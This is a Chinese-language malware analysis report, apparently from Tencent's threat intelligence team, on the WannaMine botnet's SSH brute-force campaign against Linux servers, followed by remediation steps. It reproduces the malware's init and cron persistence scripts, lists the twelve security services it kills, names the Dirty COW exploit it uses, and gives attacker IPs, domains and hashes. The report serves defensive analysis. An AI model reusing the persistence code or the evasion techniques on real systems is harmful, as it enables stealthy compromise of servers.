WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

騰訊電腦管家 發表於 2019-08-22

一、背景

騰訊安全專家在為某企業客戶進行例行安全巡檢過程中,發現客戶部署的騰訊御界高階威脅檢測系統出現了SSH服務失陷感知資訊。

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區 

在徵得客戶同意後對客戶機器進行遠端取證,並結合御界的關鍵日誌進行分析,我們發現這是一起針對SSH伺服器弱口令爆破攻擊事件,由於發現及時,工程師及時協助客戶進行隔離及防毒,並未造成損失。


騰訊安全御見威脅情報中心展開事件調查,結果發現,這是由大型挖礦殭屍網路WannaMine發起的攻擊事件:攻擊者利用SSH弱口令爆破成功後會植入shell後門以及brootkit後門程式,並通過SSH在內網橫向傳播,受害機器接收遠端指令安裝(包括但不限於)挖礦木馬、DDoS攻擊模組。


SSH代表安全外殼(Secure Shell),它現在是通過網際網路訪問網路裝置和伺服器的主要協議之一。SSH主要用在所有流行的作業系統上,比如Unix、Solaris、Red-Hat Linux、CentOS和Ubuntu等。SSH預設情況使用埠號22,我們通過zoomeye查詢開放22埠的裝置,發現全球有超過1億臺裝置開放了該埠,這意味著超過1億臺裝置有被爆破攻擊的可能。

(參考連結:https://www.zoomeye.org/searchResult?q=port%3A22)

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區 

根據騰訊安全御見威脅情報中心的監測資料,WannaMine自2019年6月開始在國內呈現新的快速增長趨勢,目前已影響近14萬臺裝置。

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區 

病毒感染地區分佈前三名分別為:廣東(20.3%)、江蘇(7.7%)、浙江(7%)。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

WannaMine病毒受害者分佈


受WannaMine病毒影響的主要行業為工業企業(34.11%),其次為網際網路企業(10.85%)和教育行業(10.08%)。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

WannaMine挖礦木馬影響的主要行業


二、詳細分析

分析發現,此次攻擊事件中WannaMine開始將攻擊目標轉向Linux系統,其行為主要具有以下特點:
1、會獲取被感染機器的SSH連線記錄,從而攻擊該機器登入過的所有遠端伺服器,以達到橫向傳播的目的;

2、檢測中招機器上的“安全狗”、“安騎士”、“雲鎖”、“懸鏡衛士”等12種伺服器防護軟體,針對每一款軟體進行退出及刪除;

3、將守護指令碼程式碼新增至Linux啟動項、定時任務,以達到持久化;最後清除挖礦競爭對手,開啟挖礦,並嘗試利用Linux核心提權漏洞CVE-2016-5195獲取系統Root許可權;

4、植入Linux平臺DDoS木馬“BillGates”,該木馬偽裝成Linux系統工具“ps”,“lsof”和”netstat”等進行隱藏,具有遠端shell、作為客戶端或伺服器執行的功能。“BillGates”接收遠端指令,對目標進行多種型別的DDoS攻擊。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

WannaMine攻擊Linux系統


Shell

在通過漏洞攻擊、爆破攻擊進入Linux系統後,病毒植入“Shell”指令碼。指令碼首先進行變數宣告,指定後續需要用到的網路地址,檔案路徑等資訊。


指定木馬遠端地址和目錄、以及檔案hash:
temp_remote_host: 遠端地址
sodd_info_arr: DDoS木馬
tiktoor_info_arr: brootkit後門
pxe_info_arr: CVE-2016-5195核心提權

指定木馬執行路徑、程式名及相關引數:
下載檔案儲存目錄:DownloadPath="/usr/lib/..."
Shell程式名:ShellProce
DDoS木馬程式名:soddProce
Shell程式許可權:shell_privilege=1
系統型別:OsType=1
校驗方法:verify_method="md5sum"
Shell引數:ShellArg=$1
當前版本:Ver=1.0

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


對抗殺軟

通過ls -l /etc/init.d/$servicename檢測以下防護服務:
Safedog:安全狗
aegis:安騎士
yunsuo:雲鎖
clamd:ClamAV
avast:Avast
avgd:AVG
cmdavd:COMODO Antivirus
cmdmgd:COMODO Antivirus
drweb-configd:Dr.Web
drweb-spider-kmod:Dr.Web
esets:ESET NOD32 Antivirus
xmirrord:懸鏡伺服器衛士

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


然後針對每一款防護軟體進行清理,包括停止服務、殺死程式、刪除檔案、解除安裝軟體等操作。

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

function BasicInit(){}執行基礎的初始化。

使用ping命令檢查remote_host中的第一個地址是否能連線,如果不能則使用第二個;

通過檢視$UID、$EUID的值來確定當前的許可權,高許可權則設定下載目錄為"/home/$USER/...",低許可權設定為"/usr/lib/...";

檢查當前是否具有md5校驗功能;檢查當前系統屬於CentOS/Ubantu/Debian中的哪一種,預設為CentOS。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


核心提權

function RunInBack(){}檢查shell是否使用/sbin/init執行,如果不是則將指令碼移動到以前具有寫入許可權(Rwx)的資料夾,其名稱為“diskmanagerd”

(名稱在$ShellProceName名稱變數中指定),然後將指令碼嘗試使用nohup實用程式重新執行,或在未安裝nohup時僅在後臺執行。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

function GetRootAccess(){}利用漏洞CVE-2016-5195獲取系統Root許可權。

參考連結:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails


CVE-2016-5195(髒牛漏洞)是因為Linux核心的記憶體子系統在處理寫入時複製(copy-on-write, COW)時產生了競爭條件

(race condition),攻擊者利用此漏洞對只讀記憶體對映進行寫訪問,從而可獲得Linux裝置的root許可權。

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區 


清除挖礦競品

function WorkProc(){}檢測並結束挖礦相關的程式。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


持久化攻擊

function SetStartup(){}中分別新增守護程式到Linux啟動專案錄、定時任務,以達到反覆執行shell的目的。


守護指令碼1:

guarderText="#!/bin/sh
# chkconfig: 12345 90 90
# description: irqbalence
### BEGIN INIT INFO
# Provides:     irqbalence
# Required-Start:
# Required-Stop:
# Default-Start:    1 2 3 4 5
# Default-Stop:
# Short-Description:    irqbalence
### END INIT INFO
case \$1 in
start)
    /usr/bin/irqbalence
    ;;
stop)
    ;;
*)
    /usr/bin/irqbalence
    ;;
esac"

將guarderText內容寫入啟動目錄/etc/rc.d/init.d目錄下,從而在啟動時執行。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


守護指令碼2:

guarderText2="#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in \`cat /proc/net/dev|grep :|awk -F: {'print \$1'}\`; do ifconfig \$i up& done
if [ ! -f \"$DownloadPath/$ShellProceName\" ]; then
    \cp -rf /lib/libterminfo.so $DownloadPath/httpdinfo
fi
test=0
for i in /proc/*
do
    if [ -d \"\$i\" ] && [ \"\$i\" != \"/proc/\$\$\" ];then
        if [ -f \"\$i/exe\" ]; then
            temp=\`ls -l \$i | grep exe | grep /bin/bash\`
            if [ \"\$temp\" != \"\" ]; then
                temp=\`cat \$i/cmdline\`
                result=\$(echo \"\$temp\" | grep \"$ShellProceName\")
                if [ \"\$result\" != \"\" ]; then
                    test=1
                    break
                fi
            fi
        fi
    fi
done
if [ \"\$test\" = 0 ]; then
    (exec $DownloadPath/httpdinfo &> /dev/null &)
fi"

將guarderText2寫入etc/cron.hourly/gcc4lef.sh,並安裝為crontab定時任務執行

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


brootkit後門

function rootkit(){}安裝brootkit後門(github: https://github.com/cloudsec/brootkit),該後門具有具有盜取root使用者密碼、隱藏檔案和目錄、隱藏程式、隱藏網

絡連線、反連後門、多執行緒埠掃描、HTTP下載、多執行緒SSH爆破等功能。

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區 


橫向移動

function Dandelion(){}從各種來源(使用者歷史記錄)收集有關當前使用者之前通過SSH連線的所有遠端伺服器資訊,嘗試連線到這些主機並感染它

們,以便將自身傳播到更多的系統。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


DDoS木馬

function CheckUpdate(){}檢查木馬最新版本,並從伺服器下載更新

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區 


function Guard(){}中下載DDoS病毒”BillGates”。

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區 


依次使用4中下載方法嘗試下載("wget" "curl" "python" "tcp")。

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區 


下載完成後後使用md5sum計算檔案md5並進行校驗,驗證md5值是否為

6a971a24a418ce99e9a0cd65ba14078d/4e117357b8a5bf51aaba6e939cace26b。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


BillGates(作者疑似比爾蓋茲的粉絲)

shell下載的檔案為功能複雜DDoS木馬BillGates,其得名於其在變數函式的命名中,大量使用“Gates”和“Bill”。此外,木馬還具有偽裝成Linux

系統工具'ps','lsof'和'netstat'等進行隱藏自身、遠端shell、作為客戶端或伺服器執行等特點。


木馬早期大規模掃描和利用漏洞感染Elasticsearch伺服器(ElasticSearch是一個基於Lucene的搜尋伺服器,是最受歡迎的企業搜尋引擎)從而

組成強大的殭屍網路。

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

木馬首先建立一個包含檔名和路徑的全域性變數“監視”檔案。監視檔案代表初步安裝的BillGates處於執行狀態下。接下來通過

CSysTool::CheckGatesType來確定當前處於哪種執行狀態下,判斷返回的全域性變數g_iGatesType標識0至3共四種狀態:


0代表當前程式的映像符合監控檔名和路徑

1代表當前程式的映像不符合監控檔名和路徑,並且不屬於其他任何型別

2代表當前程式的映像符合/usr/bin/

3代表當前程式的映像符合下列系統工具之一


/bin/netstat
/bin/lsof
/bin/ps
/bin/ss
/usr/bin/netstat
/usr/bin/lsof
/usr/bin/ps
/usr/bin/ss
/usr/sbin/netstat
/usr/sbin/lsof
/usr/sbin/ps
/usr/sbin/ss

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

匹配到每個標識後都以不同的目的執行,這樣使得BillGates作為單個實體可以運作四種不同的模式,執行多個獨特的功能,從而其成為一個復

雜的的多功能木馬。


模式0

BillGates作為感染監控器,通過呼叫MainMonitor開始。在這種模式下的任務是不斷監視活動程式列表以確定是否生成了由模式1(稱為Host模

式)產生的程式正在執行。

模式1

BillGates的Host模式。當main函式中呼叫MainBeikong開始執行。Host模式的初始化階段完成後,MainBeikong通過呼叫MainProcess結束,

MainProcess是BillGates在Host或Backdoor模式下執行時的核心功能。MainProcess首先初始化五個全域性物件:

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

Host或backdoor模式下的BillGates支援7種不同的管理控制命令:

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

其中DDoS攻擊型別如下:

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區 


模式2

Backdoor模式。main函式中呼叫MainBackdoor進入該模式。使用BillGates檔案替換Linux系統二進位制檔案,然後MainBackdoor呼叫

MainProcess,在這之後執行程式碼與Host模式的行為相同。

模式3

公共設施。該模式通過呼叫MainSystool 開始,BillGates作為Linux系統二進位制檔案的代理執行,並從系統工具的輸出中刪除自己的痕跡。


三、總結

WannaMine攻擊程式碼呈現高度系統化、定製化的特點,從首次出現之後,其載荷託管IP地址會在沒一次重要更新之後進行切換。而觀察歷史託

管IP與IP解析到的域名可以發現,跨時期、跨版本的攻擊程式碼又存在使用相同的託管域名(標紅域名)的情況,因此推測該病毒團伙存在在向其他

團伙提供攻擊武器的可能。

WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區

從攻擊物件與手法上來看,WannaMine不斷拓寬其攻擊覆蓋面,從最初的利用“永恆之藍”漏洞、Powershell攻擊Windows系統,到後來利用各

類Web漏洞(Weblogic、PHPMyAdmin、Drupal)攻擊Windows上搭建的伺服器,到最後通過MsSQL爆破攻擊SQL伺服器,以及SSH爆破攻擊

Linux伺服器。


在木馬型別上,開始以植入挖礦和遠控型別木馬為主,後來逐漸加入DDoS木馬(包括Windows平臺和Linux平臺),其目標在於組建龐大的挖礦僵

屍網路以及DDoS殭屍網路,使該病毒團伙具有不斷更新、內網橫向移動、持久化獲利的能力。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


四、安全建議

1、及時為系統和應用軟體打補丁,關閉不必要的埠和服務;

2、使用高強度的系統登陸密碼、SSH登陸密碼、MsSQL資料庫密碼等;

3、安裝安全軟體並保持安全軟體正常開啟,本案例說明,Linux系統被病毒入侵的事件越來越常見;

4、Linux伺服器手動清理方案

刪除啟動項

/etc/rc.d/init.d/diskmanagerd
/etc/rcS.d/S90diskmanagerd

刪除定時任務
*/3 * * * * root /etc/cron.hourly/gcc4lef.sh

刪除檔案
/tmp/.../brootkit.sh
/tmp/.../install.sh
/tmp/.../just4root
/tmp/.../pxe

關閉程式
/usr/lib/diskmanagerd
/home/$USER/diskmanagerd
/usr/lib/kacpi_notify
/home/$USER/kacpi_notify


5、修復漏洞(Dirty COW:CVE-2016-5195)
各作業系統供應商下載Linux kernel 4.8.3、Linux kernel 4.7.9和Linux kernel 4.4.26 LTS,為使用者提供穩定版渠道更新。

軟體開發人員可以通過
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

重新編譯Linux修復此漏洞。


6、ssh非互動方式登入到遠端伺服器時,設定主機公鑰確認StrictHostKeyChecking的值為ask或yes,避免歷史SSH登入記錄被病毒利用,形成

內網擴散。


(注:StrictHostKeyChecking=no 最不安全的級別,連線server的key在本地不存在,就自動新增到檔案中(預設是known_hosts)。

StrictHostKeyChecking=ask 預設的級別,如果連線和key不匹配,給出提示,並拒絕登入。

StrictHostKeyChecking=yes最安全的級別,如果連線與key不匹配,就拒絕連線,不會提示詳細資訊。)


7、使用騰訊御界高階威脅檢測系統檢測未知黑客的各種可疑攻擊行為。御界高階威脅檢測系統,是基於騰訊反病毒實驗室的安全能力、依託騰

訊在雲和端的海量資料,研發出的獨特威脅情報和惡意檢測模型系統。

 WannaMine挖礦木馬再活躍,14萬臺linux系統受攻擊,廣東省為重災區


IOCs

IP
195.22.127.157
107.179.67.243
45.63.55.15
94.102.52.36
123.59.68.172
93.174.93.73
121.17.28.15
195.22.127.93
198.54.117.244
107.148.195.71
185.128.40.102
185.128.43.62
192.74.245.97
87.121.98.215
172.247.116.8
172.247.116.87
45.199.154.108
111.90.140.35
185.234.218.40
185.128.41.90

Domain
node3.jhshxbv.com
node.jhshxbv.com
node4.jhshxbv.com
node2.jhshxbv.com
stafftest.spdns.eu
profetestruec.net
nuki-dx.com
ddd.parkmap.org
yp.parkmap.org
demaxiya.info、
fashionbookmark.com
www.windowsdefenderhost.club
update.windowsdefenderhost.club
d4uk.7h4uk.com
update.7h4uk.com
info.7h4uk.com
oa.to0ls.com
mail.to0ls.com
auth.to0ls.com

 

MD5
1db902385b4480a76e4527605eb9f825(Shell)
6a971a24a418ce99e9a0cd65ba14078d(BillGates)
4e117357b8a5bf51aaba6e939cace26b(BillGates)
c04dceb4c769b2c8823cbf39f3055e6d(Brootkit)
ad593f6a17598bdd12fd3bd0f3b2a925(Brootkit)
20788d837f33f5e735bdc99d68fc71b1(Dirtycow)
d9bbb758e3831839558d80f381f9d4b1(Dirtycow)
795acc900cb55882629e7ce3f65130c4(Dirtycow)
1195ea4886acf3a857913c448af78d11(Dirtycow)

參考資料:
https://www.freebuf.com/articles/web/175626.html
https://mp.weixin.qq.com/s/U3sODZCmCPIfFqjQgHpa0A
https://zhuanlan.zhihu.com/p/68612894
https://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf
https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf